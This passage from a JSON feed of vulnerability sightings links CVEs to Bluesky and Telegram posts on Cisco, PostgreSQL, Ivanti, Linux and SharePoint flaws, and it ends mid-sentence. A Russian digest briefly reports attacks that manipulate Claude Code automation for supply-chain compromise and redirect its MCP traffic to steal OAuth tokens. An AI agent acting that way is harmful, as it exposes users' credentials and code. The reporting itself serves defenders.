"e3894e21-9c4d-4de1-b2ee-e10add170ac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20188", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mlbh2zrqup2k", "content": "\ud83d\udd17 CVE : CVE-2026-20034, CVE-2026-20035, CVE-2026-20167, CVE-2026-20168, CVE-2026-20169, CVE-2026-20185, CVE-2026-20188", "creation_timestamp": "2026-05-07T14:40:14.152724Z"}, {"uuid": "ea7a1f2f-00ff-4587-9029-8a02f559ee48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20188", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mlbipemmkw2x", "content": "Cisco Critical Vulnerability CVE-2026-20188 Exposes Network Controllers to Remote Denial-of-Service Attacks\n\nIntroduction Cisco has released a high-severity security advisory revealing a critical vulnerability that affects core components used in large-scale enterprise and telecom networks. The\u2026", "creation_timestamp": "2026-05-07T15:09:29.773069Z"}, {"uuid": "cc38b59c-caa8-4be9-af44-d053aac23f69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2007", "type": "seen", "source": "https://bsky.app/profile/pgexperts.bsky.social/post/3mlbwk2kspo2r", "content": "PostgreSQL 18.3 shipped two weeks after 18.2 because the fix for CVE-2026-2007 in `pg_trgm` was incomplete and could produce wrong results from `strict_word_similarity()` under specific ICU locales.\n\nwww.postgresql.org/about/news/p...\n\nPG Experts runs upgrade and patching engagements: pgexperts.com.", "creation_timestamp": "2026-05-07T19:17:03.218376Z"}, {"uuid": "8028462a-1538-4f46-bb7b-f963b14f1f1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mrxh6ki5rb2t", "content": "CISA added a Cisco $CSCO Secure Firewall Management Center flaw, CVE-2026-20316, to its Known Exploited Vulnerabilities catalog after confirming active exploitation. Static credentials on a low-privilege account let attackers log in unauthenticated. Hotfixes exist. Patch by August 1.", "creation_timestamp": "2026-07-31T17:11:55.249254Z"}, {"uuid": "92915b99-cb9c-4238-84c0-b7d8ee86912f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mrxiugterx2y", "content": "Static credentials. Zero-day. Cisco FMC. That's a bad combination.\n\nCVE-2026-20316.\n\nhttps://www.yazoul.net/news/article/cisco-fmc-zero-day-actively-exploited-static-credentials-could-expose-sensitive-/\n\n#CyberSecurity #Security", "creation_timestamp": "2026-07-31T17:42:05.137127Z"}, {"uuid": "fef695ce-c72e-479b-b1e9-d286f8608ee9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20188", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mle2bbzjit25", "content": "Critical Cisco vulnerability (CVE-2026-20188) allows remote DoS attacks on CNC & NSO. Upgrade immediately to prevent disruptions. #CyberSecurity #Cisco #DoS #NetworkSecurity Link: thedailytechfeed.com/cisco-warns-...", "creation_timestamp": "2026-05-08T15:29:04.403377Z"}, {"uuid": "4a87d37c-e412-4d0c-8747-563c0ffa49e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20188", "type": "seen", "source": "https://t.me/true_secator/8189", "content": "\u0418 \u0432\u043a\u0440\u0430\u0442\u0446\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0412 Linux \u043d\u043e\u0432\u0430\u044f 0-day - Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0425\u0451\u043d\u0432\u0443 \u041a\u0438\u043c \u0440\u0430\u0441\u043a\u0440\u044b\u043b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b PoC.\n\n\u041a\u0430\u043a \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f,\u00a0\u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0434\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430 algif_aead \u044f\u0434\u0440\u0430 Linux.\n\nDirty Frag\u00a0\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0437\u0430 \u0441\u0447\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044f\u0434\u0440\u0430 - \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0439 \u043a\u044d\u0448 xfrm-ESP \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0439 \u043a\u044d\u0448 RxRPC - \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0445\u043e\u0442\u044f Dirty Frag \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0443, \u0447\u0442\u043e \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Linux Dirty Pipe \u0438\u00a0Copy Fail, \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043f\u043e\u043b\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u044f\u0434\u0440\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Ubuntu, Red Hat Enterprise Linux, CentOS Stream, AlmaLinux, openSUSE Tumbleweed \u0438 Fedora, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0449\u0435 \u043d\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u0442 \u0430\u0442\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Linux \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u00a0\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u044f\u0434\u0440\u0430 esp4, esp6 \u0438 rxrpc (\u043e\u0434\u043d\u0430\u043a\u043e \u0432\u0430\u0436\u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0430\u0440\u0443\u0448\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 IPsec VPN \u0438 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c AFS).\n\n2. Ivanti \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u0443\u0435\u0442 \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0437\u043e\u043d \u043e\u0441\u0442\u0440\u043e\u0441\u044e\u0436\u0435\u0442\u043d\u043e\u0433\u043e \u043e\u0434\u043d\u043e\u0438\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0438\u0430\u043b\u0430 \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 (\u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0440\u0438\u0447\u043d\u0435\u0432\u044b\u0439 \u043c\u0435\u0440\u0447) \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Endpoint Manager Mobile (EPMM), \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445.\n\nCVE-2026-6973 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c EPMM 12.8.0.0 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u00ab\u043e\u0447\u0435\u043d\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c\u00bb \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0434\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0436\u0435 Ivanti \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 EPMM (CVE-2026-5786, CVE-2026-5787, CVE-2026-5788 \u0438 CVE-2026-7821), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432 \u0447\u0438\u0441\u043b\u0435 \u043f\u0440\u043e\u0447\u0435\u0433\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0442\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f.\n\n3. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Adversa.AI \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044e Claude Code \u0432 \u0441\u0432\u043e\u0438\u0445 \u0446\u0435\u043b\u044f\u0445, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u0443\u0433\u0440\u043e\u0437\u0443 \u0434\u043b\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\nTrustFall \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442, \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c\u0438 \u0418\u0418, \u0434\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0432\u0437\u043b\u043e\u043c\u043e\u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n4. \u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u0435\u0436\u0435\u043a\u0432\u0430\u0440\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u043d\u0430\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0441\u043d\u043e\u0432\u0430 \u043f\u043e\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Microsoft Office, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c Windows \u0438 Linux.\n\n5. Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f DoS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u0445 Crosswork Network Controller (CNC) \u0438 Network Services Orchestrator (NSO), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0430 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u043a\u0430 CVE-2026-20188 \u043d\u0435 \u0431\u044b\u043b\u0430 \u0435\u0449\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u041e\u0434\u043d\u0430\u043a\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0440\u0430\u043d\u0435\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0447\u0430\u0441\u0442\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u043b\u0438\u0441\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n6. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Mitiga \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a Claude Code MCP, \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0442\u043e\u043a\u0435\u043d\u044b OAuth \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c SaaS-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u043c, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u0441\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c.\n\n7. \u0418 \u043d\u0435 \u0437\u0430\u0431\u044b\u0432\u0430\u0435\u043c \u043f\u0440\u043e \u043f\u043e\u0437\u0438\u0442\u0438\u0432\u043d\u044b\u0439 \u00ab\u0432 \u0442\u0440\u0435\u043d\u0434\u0435 VM\u00bb \u0437\u0430 \u0430\u043f\u0440\u0435\u043b\u044c, \u043a\u0443\u0434\u0430 \u0432\u043e\u0448\u043b\u0430 \u043e\u0434\u043d\u0430 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c - (CVE-2026-20963, CVSS 9,8) \u0432 Microsoft SharePoint.", "creation_timestamp": "2026-05-08T18:30:06.000000Z"}, {"uuid": "80d83889-1838-4e1e-b8ab-1fd247a26a29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://t.me/true_secator/8189", "content": "\u0418 \u0432\u043a\u0440\u0430\u0442\u0446\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0412 Linux \u043d\u043e\u0432\u0430\u044f 0-day - Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043e\u0434\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0425\u0451\u043d\u0432\u0443 \u041a\u0438\u043c \u0440\u0430\u0441\u043a\u0440\u044b\u043b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b PoC.\n\n\u041a\u0430\u043a \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f,\u00a0\u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0434\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430 algif_aead \u044f\u0434\u0440\u0430 Linux.\n\nDirty Frag\u00a0\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0437\u0430 \u0441\u0447\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044f\u0434\u0440\u0430 - \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0439 \u043a\u044d\u0448 xfrm-ESP \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0439 \u043a\u044d\u0448 RxRPC - \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f 